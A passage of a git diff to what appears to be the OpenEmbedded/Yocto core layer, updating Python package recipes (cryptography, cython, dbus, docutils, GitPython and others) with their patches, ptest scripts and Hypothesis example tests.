+pem = { version: "1.0.2"}
+
+Upstream-Status: Pending
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ src/rust/Cargo.toml | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/rust/Cargo.toml b/src/rust/Cargo.toml
+index 617167d0..174eaa80 100644
+--- a/src/rust/Cargo.toml
++++ b/src/rust/Cargo.toml
+@@ -9,7 +9,7 @@ publish = false
+ lazy_static = "1"
+ pyo3 = { version = "0.15.1" }
+ asn1 = { version = "0.8.7", default-features = false, features = ["derive"] }
+-pem = "1.0"
++pem = { version = "1.0.2" }
+ chrono = { version = "0.4", default-features = false, features = ["alloc", "clock"] }
+ ouroboros = "0.13"
+
+--
+2.30.2
+
diff --git a/meta/recipes-devtools/python/python3-cryptography/0002-Cargo.toml-edition-2018-2021.patch b/meta/recipes-devtools/python/python3-cryptography/0002-Cargo.toml-edition-2018-2021.patch
new file mode 100644
index 0000000000..366e3a4d39
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/0002-Cargo.toml-edition-2018-2021.patch
@@ -0,0 +1,28 @@
+From 4b73298b214a5b69ea6edf3c2e21dd82b2b29708 Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Fri, 14 Jan 2022 22:34:59 -0800
+Subject: [PATCH 2/2] Cargo.toml: edition 2018 -> 2021
+
+Upstream-Status: Pending
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ src/rust/Cargo.toml | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/rust/Cargo.toml b/src/rust/Cargo.toml
+index 174eaa80..7ad053d9 100644
+--- a/src/rust/Cargo.toml
++++ b/src/rust/Cargo.toml
+@@ -2,7 +2,7 @@
+ name = "cryptography-rust"
+ version = "0.1.0"
+ authors = ["The cryptography developers <cryptography-dev@python.org>"]
+-edition = "2018"
++edition = "2021"
+ publish = false
+
+ [dependencies]
+--
+2.30.2
+
diff --git a/meta/recipes-devtools/python/python3-cryptography/check-memfree.py b/meta/recipes-devtools/python/python3-cryptography/check-memfree.py
new file mode 100755
index 0000000000..c111a9074c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/check-memfree.py
@@ -0,0 +1,10 @@
+#!/usr/bin/env python3
+# https://stackoverflow.com/questions/22102999/get-total-physical-memory-in-python/28161352
+import sys
+meminfo = dict((i.split()[0].rstrip(':'),int(i.split()[1])) for i in open('/proc/meminfo').readlines())
+mem_free = meminfo['MemTotal']/1024./1024.
+if mem_free < 2.:
+ raise RuntimeError("Insufficient free memory({:.3f}): requires > 2 GB".format(mem_free))
+ sys.exit(1)
+else:
+ print("Free memory: {:.3f} GB".format(mem_free))
diff --git a/meta/recipes-devtools/python/python3-cryptography/run-ptest b/meta/recipes-devtools/python/python3-cryptography/run-ptest
new file mode 100644
index 0000000000..3089df8781
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/run-ptest
@@ -0,0 +1,4 @@
+#!/bin/sh
+if ./check-memfree.py; then
+ pytest -vvvv tests/ -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
+fi
diff --git a/meta/recipes-devtools/python/python3-cryptography/skip-leaky-test.patch b/meta/recipes-devtools/python/python3-cryptography/skip-leaky-test.patch
new file mode 100644
index 0000000000..64248d57bd
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/skip-leaky-test.patch
@@ -0,0 +1,19 @@
+Mark as test as expected-failure, OpenSSL is leaking memory.
+
+xfail not skip so we can remove this when OpenSSL doesn't leak anymore.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/hazmat/backends/test_openssl_memleak.py b/tests/hazmat/backends/test_openssl_memleak.py
+index 835c9256..639f6ba2 100644
+--- a/tests/hazmat/backends/test_openssl_memleak.py
++++ b/tests/hazmat/backends/test_openssl_memleak.py
+@@ -466,6 +466,7 @@ class TestOpenSSLMemoryLeaks:
+ )
+ )
+
++ @pytest.mark.xfail(reason="has memory leaks")
+ def test_create_certificate_with_extensions(self):
+ assert_no_memory_leaks(
+ textwrap.dedent(
diff --git a/meta/recipes-devtools/python/python3-cryptography_36.0.1.bb b/meta/recipes-devtools/python/python3-cryptography_36.0.1.bb
new file mode 100644
index 0000000000..e33eaa5083
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography_36.0.1.bb
@@ -0,0 +1,123 @@
+SUMMARY = "Provides cryptographic recipes and primitives to python developers"
+HOMEPAGE = "https://cryptography.io/"
+SECTION = "devel/python"
+LICENSE = "( Apache-2.0 | BSD-3-Clause ) & PSF-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=bf405a8056a6647e7d077b0e7bc36aba \
+ file://LICENSE.APACHE;md5=4e168cce331e5c827d4c2b68a6200e1b \
+ file://LICENSE.BSD;md5=5ae30ba4123bc4f2fa49aa0b0dce887b \
+ file://LICENSE.PSF;md5=43c37d21e1dbad10cddcd150ba2c0595 \
+ "
+LDSHARED += "-pthread"
+
+SRC_URI[sha256sum] = "53e5c1dc3d7a953de055d77bef2ff607ceef7a2aac0353b5d630ab67f7423638"
+
+SRC_URI += " \
+ file://run-ptest \
+ file://check-memfree.py \
+ file://0001-Cargo.toml-specify-pem-version.patch \
+ file://0002-Cargo.toml-edition-2018-2021.patch \
+ file://skip-leaky-test.patch \
+"
+
+inherit pypi python_setuptools3_rust
+
+DEPENDS += " \
+ ${PYTHON_PN}-asn1crypto-native \
+ ${PYTHON_PN}-cffi-native \
+ ${PYTHON_PN}-setuptools-rust-native \
+ ${PYTHON_PN}-six-native \
+"
+
+SRC_URI += " \
+ crate://crates.io/Inflector/0.11.4 \
+ crate://crates.io/aliasable/0.1.3 \
+ crate://crates.io/asn1/0.8.7 \
+ crate://crates.io/asn1_derive/0.8.7 \
+ crate://crates.io/autocfg/1.0.1 \
+ crate://crates.io/base64/0.13.0 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/chrono/0.4.19 \
+ crate://crates.io/indoc-impl/0.3.6 \
+ crate://crates.io/indoc/0.3.6 \
+ crate://crates.io/instant/0.1.12 \
+ crate://crates.io/lazy_static/1.4.0 \
+ crate://crates.io/libc/0.2.112 \
+ crate://crates.io/lock_api/0.4.5 \
+ crate://crates.io/num-integer/0.1.44 \
+ crate://crates.io/num-traits/0.2.14 \
+ crate://crates.io/once_cell/1.9.0 \
+ crate://crates.io/ouroboros/0.13.0 \
+ crate://crates.io/ouroboros_macro/0.13.0 \
+ crate://crates.io/parking_lot/0.11.2 \
+ crate://crates.io/parking_lot_core/0.8.5 \
+ crate://crates.io/paste-impl/0.1.18 \
+ crate://crates.io/paste/0.1.18 \
+ crate://crates.io/pem/1.0.2 \
+ crate://crates.io/proc-macro-error-attr/1.0.4 \
+ crate://crates.io/proc-macro-error/1.0.4 \
+ crate://crates.io/proc-macro-hack/0.5.19 \
+ crate://crates.io/proc-macro2/1.0.36 \
+ crate://crates.io/pyo3-build-config/0.15.1 \
+ crate://crates.io/pyo3-macros-backend/0.15.1 \
+ crate://crates.io/pyo3-macros/0.15.1 \
+ crate://crates.io/pyo3/0.15.1 \
+ crate://crates.io/quote/1.0.14 \
+ crate://crates.io/redox_syscall/0.2.10 \
+ crate://crates.io/scopeguard/1.1.0 \
+ crate://crates.io/smallvec/1.7.0 \
+ crate://crates.io/stable_deref_trait/1.2.0 \
+ crate://crates.io/syn/1.0.85 \
+ crate://crates.io/unicode-xid/0.2.2 \
+ crate://crates.io/unindent/0.1.7 \
+ crate://crates.io/version_check/0.9.4 \
+ crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi/0.3.9 \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-asn1crypto \
+ ${PYTHON_PN}-cffi \
+ ${PYTHON_PN}-idna \
+ ${PYTHON_PN}-setuptools \
+ ${PYTHON_PN}-six \
+"
+
+RDEPENDS:${PN}:append:class-target = " \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-threading \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-bcrypt \
+ ${PYTHON_PN}-cryptography-vectors \
+ ${PYTHON_PN}-hypothesis \
+ ${PYTHON_PN}-iso8601 \
+ ${PYTHON_PN}-pretend \
+ ${PYTHON_PN}-psutil \
+ ${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-pytest-subtests \
+ ${PYTHON_PN}-pytz \
+ ${PYTHON_PN}-tomli \
+"
+
+inherit ptest
+
+do_install_ptest() {
+ install -D ${WORKDIR}/check-memfree.py ${D}${PTEST_PATH}/
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ install -d ${D}${PTEST_PATH}/tests/hazmat
+ cp -rf ${S}/tests/hazmat/* ${D}${PTEST_PATH}/tests/hazmat/
+ cp -r ${S}/pyproject.toml ${D}${PTEST_PATH}/
+}
+
+FILES:${PN}-ptest += " \
+ ${PTEST_PATH}/check-memfree.py \
+"
+FILES:${PN}-dbg += " \
+ ${PYTHON_SITEPACKAGES_DIR}/${SRCNAME}/hazmat/bindings/.debug \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-cython_0.29.28.bb b/meta/recipes-devtools/python/python3-cython_0.29.28.bb
new file mode 100644
index 0000000000..26333cb271
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cython_0.29.28.bb
@@ -0,0 +1,37 @@
+inherit setuptools3
+require python-cython.inc
+
+RDEPENDS:${PN} += "\
+ python3-setuptools \
+"
+
+# running build_ext a second time during install fails, because Python
+# would then attempt to import cythonized modules built for the target
+# architecture.
+SETUPTOOLS_INSTALL_ARGS += "--skip-build"
+
+do_install:append() {
+ # rename scripts that would conflict with the Python 2 build of Cython
+ mv ${D}${bindir}/cython ${D}${bindir}/cython3
+ mv ${D}${bindir}/cythonize ${D}${bindir}/cythonize3
+ mv ${D}${bindir}/cygdb ${D}${bindir}/cygdb3
+}
+
+PACKAGEBUILDPKGD += "cython_fix_sources"
+
+cython_fix_sources () {
+ for f in ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/FlowControl.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/FusedNode.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/Scanning.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/Visitor.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Plex/Actions.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Plex/Scanners.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Runtime/refnanny.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Tempita/_tempita.c \
+ ${PKGD}${libdir}/${PYTHON_DIR}/site-packages/Cython*/SOURCES.txt; do
+ if [ -e $f ]; then
+ sed -i -e 's#${WORKDIR}#/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}#g' $f
+ fi
+ done
+}
+
diff --git a/meta/recipes-devtools/python/python3-dbus_1.2.12.bb b/meta/recipes-devtools/python/python3-dbus_1.2.12.bb
deleted file mode 100644
index d005dc4a90..0000000000
--- a/meta/recipes-devtools/python/python3-dbus_1.2.12.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Python bindings for the DBus inter-process communication system"
-SECTION = "devel/python"
-HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b03240518994df6d8c974675675e5ca4"
-DEPENDS = "expat dbus glib-2.0 virtual/libintl"
-
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus-python/dbus-python-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "428b7a9e7e2d154a7ceb3e13536283e4"
-SRC_URI[sha256sum] = "cdd4de2c4f5e58f287b12013ed7b41dee81d503c8d0d2397c5bd2fb01badf260"
-
-S = "${WORKDIR}/dbus-python-${PV}"
-
-inherit distutils3-base autotools pkgconfig
-
-# documentation needs python3-sphinx, which is not in oe-core or meta-python for now
-# change to use PACKAGECONFIG when python3-sphinx is added to oe-core
-EXTRA_OECONF += "--disable-documentation"
-
-
-RDEPENDS_${PN} = "python3-io python3-logging python3-stringold python3-threading python3-xml"
-
-FILES_${PN}-dev += "${libdir}/pkgconfig"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dbus_1.2.18.bb b/meta/recipes-devtools/python/python3-dbus_1.2.18.bb
new file mode 100644
index 0000000000..c4687de13c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dbus_1.2.18.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Python bindings for the DBus inter-process communication system"
+SECTION = "devel/python"
+HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b03240518994df6d8c974675675e5ca4"
+DEPENDS = "expat dbus glib-2.0 virtual/libintl"
+
+SRC_URI = "http://dbus.freedesktop.org/releases/dbus-python/dbus-python-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "92bdd1e68b45596c833307a5ff4b217ee6929a1502f5341bae28fd120acf7260"
+
+S = "${WORKDIR}/dbus-python-${PV}"
+
+inherit setuptools3-base autotools pkgconfig
+
+# documentation needs python3-sphinx, which is not in oe-core or meta-python for now
+# change to use PACKAGECONFIG when python3-sphinx is added to oe-core
+EXTRA_OECONF += "--disable-documentation"
+
+
+RDEPENDS:${PN} = "python3-io python3-logging python3-stringold python3-threading python3-xml"
+
+FILES:${PN}-dev += "${libdir}/pkgconfig"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dbusmock_0.26.1.bb b/meta/recipes-devtools/python/python3-dbusmock_0.26.1.bb
new file mode 100644
index 0000000000..dc98810726
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dbusmock_0.26.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "With this program/Python library you can easily create mock objects on D-Bus"
+HOMEPAGE = "https://pypi.org/project/python-dbusmock/"
+
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+SRC_URI[sha256sum] = "0e95ef6ec1e6b58aeb0e08839a76972debea94184570f09e29e5f12551399e55"
+
+PYPI_PACKAGE = "python-dbusmock"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-dbus \
+ ${PYTHON_PN}-pygobject \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-xml \
+ "
diff --git a/meta/recipes-devtools/python/python3-docutils_0.15.bb b/meta/recipes-devtools/python/python3-docutils_0.15.bb
deleted file mode 100644
index f5c3f5d707..0000000000
--- a/meta/recipes-devtools/python/python3-docutils_0.15.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Text processing system for documentation"
-HOMEPAGE = "http://docutils.sourceforge.net"
-SECTION = "devel/python"
-LICENSE = "PSF & BSD-2-Clause & GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=35a23d42b615470583563132872c97d6"
-
-DEPENDS = "python3"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/docutils/docutils-${PV}.tar.gz"
-SRC_URI[md5sum] = "f51729f19e70a9dc4837433193a5e798"
-SRC_URI[sha256sum] = "c35e87e985f70106f6f97e050f3bed990641e0e104566134b9cd23849a460e96"
-
-S = "${WORKDIR}/docutils-${PV}"
-
-inherit distutils3
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-docutils_0.18.1.bb b/meta/recipes-devtools/python/python3-docutils_0.18.1.bb
new file mode 100644
index 0000000000..e4ddd01978
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-docutils_0.18.1.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Docutils is a modular system for processing documentation into useful formats"
+HOMEPAGE = "http://docutils.sourceforge.net"
+SECTION = "devel/python"
+LICENSE = "PSF-2.0 & BSD-2-Clause & GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.txt;md5=fecee07ad8df9116e1f739e2ed2ea513"
+
+SRC_URI[sha256sum] = "679987caf361a7539d76e584cbeddc311e3aee937877c87346f31debc63e9d06"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dtschema_2022.1.bb b/meta/recipes-devtools/python/python3-dtschema_2022.1.bb
new file mode 100644
index 0000000000..d73e5810b8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dtschema_2022.1.bb
@@ -0,0 +1,15 @@
+DESCRIPTION = "Tooling for devicetree validation using YAML and jsonschema"
+HOMEPAGE = "https://github.com/devicetree-org/dt-schema"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=457495c8fa03540db4a576bf7869e811"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "dtschema"
+
+SRC_URI[sha256sum] = "1b92b3b9a31b6e4b8b2be70dbf3065775530bc4c52e991955b67be19741114c5"
+
+DEPENDS += "python3-setuptools-scm-native"
+RDEPENDS:${PN} += "python3-ruamel-yaml python3-jsonschema python3-rfc3987"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-flit-core_3.7.1.bb b/meta/recipes-devtools/python/python3-flit-core_3.7.1.bb
new file mode 100644
index 0000000000..8d107384a6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-flit-core_3.7.1.bb
@@ -0,0 +1,33 @@
+SUMMARY = "This provides a PEP 517 build backend for packages using Flit."
+DESCRIPTION = "This provides a PEP 517 build backend for packages using \
+Flit. The only public interface is the API specified by PEP 517, at \
+flit_core.buildapi."
+HOMEPAGE = "https://github.com/pypa/flit"
+BUGTRACKER = "https://github.com/pypa/flit/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=41eb78fa8a872983a882c694a8305f08"
+
+SRC_URI[sha256sum] = "3c9bd9c140515bfe62dd938c6610d10d6efb9e35cc647fc614fe5fb3a5036682"
+
+inherit pypi python_flit_core
+
+# Need to install by hand as there's a dependency loop
+DEPENDS:remove:class-native = " python3-installer-native"
+DEPENDS:append:class-native = " unzip-native"
+
+# We need the full flit tarball
+PYPI_PACKAGE = "flit"
+PEP517_SOURCE_PATH = "${S}/flit_core"
+
+do_install:class-native () {
+ python_pep517_do_bootstrap_install
+}
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN}-tests += "\
+ ${PYTHON_SITEPACKAGES_DIR}/flit_core/tests/* \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-git_3.0.2.bb b/meta/recipes-devtools/python/python3-git_3.0.2.bb
deleted file mode 100644
index 9dd753db4f..0000000000
--- a/meta/recipes-devtools/python/python3-git_3.0.2.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Python library used to interact with Git repositories"
-DESCRIPTION = "GitPython provides object model read and write access to \
-a git repository. Access repository information conveniently, alter the \
-index directly, handle remotes, or go down to low-level object database \
-access with big-files support."
-HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8b8d26c37c1d5a04f9b0186edbebc183"
-
-PYPI_PACKAGE = "GitPython"
-
-inherit pypi setuptools3
-
-SRC_URI[md5sum] = "ccec14a5c9f18702406122983d80032c"
-SRC_URI[sha256sum] = "d2f4945f8260f6981d724f5957bc076398ada55cb5d25aaee10108bcdc894100"
-
-DEPENDS += " ${PYTHON_PN}-gitdb"
-
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-gitdb \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-logging \
- ${PYTHON_PN}-math \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-unixadmin \
- git \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-git_3.1.27.bb b/meta/recipes-devtools/python/python3-git_3.1.27.bb
new file mode 100644
index 0000000000..3e7aa883f2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-git_3.1.27.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Python library used to interact with Git repositories"
+DESCRIPTION = "GitPython provides object model read and write access to \
+a git repository. Access repository information conveniently, alter the \
+index directly, handle remotes, or go down to low-level object database \
+access with big-files support."
+HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8b8d26c37c1d5a04f9b0186edbebc183"
+
+PYPI_PACKAGE = "GitPython"
+
+inherit pypi setuptools_build_meta
+
+SRC_URI[sha256sum] = "1c885ce809e8ba2d88a29befeb385fcea06338d3640712b59ca623c220bb5704"
+
+DEPENDS += " ${PYTHON_PN}-gitdb"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-gitdb \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-logging \
+ ${PYTHON_PN}-math \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-unixadmin \
+ git \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-gitdb_2.0.5.bb b/meta/recipes-devtools/python/python3-gitdb_2.0.5.bb
deleted file mode 100644
index fe158327cb..0000000000
--- a/meta/recipes-devtools/python/python3-gitdb_2.0.5.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-inherit setuptools3
-require python-gitdb.inc
diff --git a/meta/recipes-devtools/python/python3-gitdb_4.0.9.bb b/meta/recipes-devtools/python/python3-gitdb_4.0.9.bb
new file mode 100644
index 0000000000..2dcd9c8aff
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-gitdb_4.0.9.bb
@@ -0,0 +1,3 @@
+inherit setuptools3
+require python-gitdb.inc
+
diff --git a/meta/recipes-devtools/python/python3-hypothesis/run-ptest b/meta/recipes-devtools/python/python3-hypothesis/run-ptest
new file mode 100644
index 0000000000..8d44d7c49a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/run-ptest
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Upstream "fast" tests take about 5 minutes and currently do not run cleanly
+# (tests/cover and tests/pytest)
+# https://github.com/HypothesisWorks/hypothesis/tree/master/hypothesis-python/tests
+# https://github.com/HypothesisWorks/hypothesis/blob/master/hypothesis-python/scripts/basic-test.sh#L18
+#
+# Instead we run two test suites imported from examples/
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py b/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py
new file mode 100644
index 0000000000..21267c4ac2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py
@@ -0,0 +1,135 @@
+# This file is part of Hypothesis, which may be found at
+# https://github.com/HypothesisWorks/hypothesis/
+#
+# Most of this work is copyright (C) 2013-2021 David R. MacIver
+# (david@drmaciver.com), but it contains contributions by others. See
+# CONTRIBUTING.rst for a full list of people who may hold copyright, and
+# consult the git log if you need to determine who owns an individual
+# contribution.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public License,
+# v. 2.0. If a copy of the MPL was not distributed with this file, You can
+# obtain one at https://mozilla.org/MPL/2.0/.
+#
+# END HEADER
+#
+# SPDX-License-Identifier: MPL-2.0
+
+"""This file demonstrates testing a binary search.
+
+It's a useful example because the result of the binary search is so clearly
+determined by the invariants it must satisfy, so we can simply test for those
+invariants.
+
+It also demonstrates the useful testing technique of testing how the answer
+should change (or not) in response to movements in the underlying data.
+"""
+
+from hypothesis import given, strategies as st
+
+
+def binary_search(ls, v):
+ """Take a list ls and a value v such that ls is sorted and v is comparable
+ with the elements of ls.
+
+ Return an index i such that 0 <= i <= len(v) with the properties:
+
+ 1. ls.insert(i, v) is sorted
+ 2. ls.insert(j, v) is not sorted for j < i
+ """
+ # Without this check we will get an index error on the next line when the
+ # list is empty.
+ if not ls:
+ return 0
+
+ # Without this check we will miss the case where the insertion point should
+ # be zero: The invariant we maintain in the next section is that lo is
+ # always strictly lower than the insertion point.
+ if v <= ls[0]:
+ return 0
+
+ # Invariant: There is no insertion point i with i <= lo
+ lo = 0
+
+ # Invariant: There is an insertion point i with i <= hi
+ hi = len(ls)
+ while lo + 1 < hi:
+ mid = (lo + hi) // 2
+ if v > ls[mid]:
+ # Inserting v anywhere below mid would result in an unsorted list
+ # because it's > the value at mid. Therefore mid is a valid new lo
+ lo = mid
+ # Uncommenting the following lines will cause this to return a valid
+ # insertion point which is not always minimal.
+ # elif v == ls[mid]:
+ # return mid
+ else:
+ # Either v == ls[mid] in which case mid is a valid insertion point
+ # or v < ls[mid], in which case all valid insertion points must be
+ # < hi. Either way, mid is a valid new hi.
+ hi = mid
+ assert lo + 1 == hi
+ # We now know that there is a valid insertion point <= hi and there is no
+ # valid insertion point < hi because hi - 1 is lo. Therefore hi is the
+ # answer we were seeking
+ return hi
+
+
+def is_sorted(ls):
+ """Is this list sorted?"""
+ for i in range(len(ls) - 1):
+ if ls[i] > ls[i + 1]:
+ return False
+ return True
+
+
+Values = st.integers()
+
+# We generate arbitrary lists and turn this into generating sorting lists
+# by just sorting them.
+SortedLists = st.lists(Values).map(sorted)
+
+# We could also do it this way, but that would be a bad idea:
+# SortedLists = st.lists(Values).filter(is_sorted)
+# The problem is that Hypothesis will only generate long sorted lists with very
+# low probability, so we are much better off post-processing values into the
+# form we want than filtering them out.
+
+
+@given(ls=SortedLists, v=Values)
+def test_insert_is_sorted(ls, v):
+ """We test the first invariant: binary_search should return an index such
+ that inserting the value provided at that index would result in a sorted
+ set."""
+ ls.insert(binary_search(ls, v), v)
+ assert is_sorted(ls)
+
+
+@given(ls=SortedLists, v=Values)
+def test_is_minimal(ls, v):
+ """We test the second invariant: binary_search should return an index such
+ that no smaller index is a valid insertion point for v."""
+ for i in range(binary_search(ls, v)):
+ ls2 = list(ls)
+ ls2.insert(i, v)
+ assert not is_sorted(ls2)
+
+
+@given(ls=SortedLists, v=Values)
+def test_inserts_into_same_place_twice(ls, v):
+ """In this we test a *consequence* of the second invariant: When we insert
+ a value into a list twice, the insertion point should be the same both
+ times. This is because we know that v is > the previous element and == the
+ next element.
+
+ In theory if the former passes, this should always pass. In practice,
+ failures are detected by this test with much higher probability because it
+ deliberately puts the data into a shape that is likely to trigger a
+ failure.
+
+ This is an instance of a good general category of test: Testing how the
+ function moves in responses to changes in the underlying data.
+ """
+ i = binary_search(ls, v)
+ ls.insert(i, v)
+ assert binary_search(ls, v) == i
diff --git a/meta/recipes-devtools/python/python3-hypothesis/test_rle.py b/meta/recipes-devtools/python/python3-hypothesis/test_rle.py
new file mode 100644
index 0000000000..4d618865ac
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/test_rle.py
@@ -0,0 +1,101 @@
+# This file is part of Hypothesis, which may be found at
+# https://github.com/HypothesisWorks/hypothesis/
+#
+# Most of this work is copyright (C) 2013-2021 David R. MacIver
+# (david@drmaciver.com), but it contains contributions by others. See
+# CONTRIBUTING.rst for a full list of people who may hold copyright, and
+# consult the git log if you need to determine who owns an individual
+# contribution.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public License,
+# v. 2.0. If a copy of the MPL was not distributed with this file, You can
+# obtain one at https://mozilla.org/MPL/2.0/.
+#
+# END HEADER
+#
+# SPDX-License-Identifier: MPL-2.0
+
+"""This example demonstrates testing a run length encoding scheme. That is, we
+take a sequence and represent it by a shorter sequence where each 'run' of
+consecutive equal elements is represented as a single element plus a count. So
+e.g.
+
